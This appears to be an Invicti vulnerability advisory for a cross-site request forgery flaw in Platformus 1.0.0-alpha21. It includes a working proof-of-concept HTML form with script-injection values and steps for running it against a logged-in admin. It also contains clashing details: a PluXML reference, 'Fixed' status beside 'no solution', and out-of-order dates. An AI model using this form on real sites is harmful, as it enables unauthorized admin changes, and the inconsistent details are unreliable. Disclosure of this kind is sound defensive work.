Cross Site Request Forgery Vulnerability in Platformus 1.0.0-alpha21


Advisory by Netsparker (now Invicti)
Name: Multiple Vulnerabilities in Platformus 1.0.0-alpha21
Affected Software: Platformus
Affected Versions: 1.0.0-alpha21
Vulnerability: Cross Site Request Forgery
Severity: Low
Status: Fixed
CVE-ID: 2018-14488
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-013

Technical Details

Cross Site Request Forgery

Proof of Concept URL for XSS vulnerability in PluXML 5.5;

URL: http://{platformus_url}/backend/cultures/create


<form action="http://{platformus_url}/backend/cultures/create" method="post">
<input type="hidden" name="code" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="name" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="isDefault" value='true'>
<input type="hidden" name="isBackendUi" value='true'>
<input type="hidden" name="__RequestVerificationToken" value='asd'>
<input type="submit" value="We can submit this form without User Interaction">
  1. Login to Platformus Demo (or your website url).
  2. Run exploit in your browser.
  3. Exploit add new Culture to your Platformus Application without Admin’s Knowledge.

Note: Platformus Application uses a same-site feature on Cookies, But Same-site feature doesn’t support all major browsers. It is only supported from Chrome, Opera, Android Mobile Browser. You can check here same-site support If Admin uses IE, Edge, Safari, Firefox, Admin will affect this vulnerability.

Using the same-site feature is a very good practice but it’s not enough.
Culture Add/Edit Form has a "__RequestVerificationToken" input. But Verification Token Input doesn’t control valid or not.

For more information on cross-site scripting vulnerabilities read the section Cross-site request forgery.

Advisory Timeline

29th September 2017 – First Contact
1st October 2017 – Technical Details Reported
11th December 2018 – Attempted to Contact 
17th January 2018 – Attempted to Contact 
26th October 2018 – Advisory Released


No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Mustafa Yalçın while testing Invicti Web Application Security Scanner.

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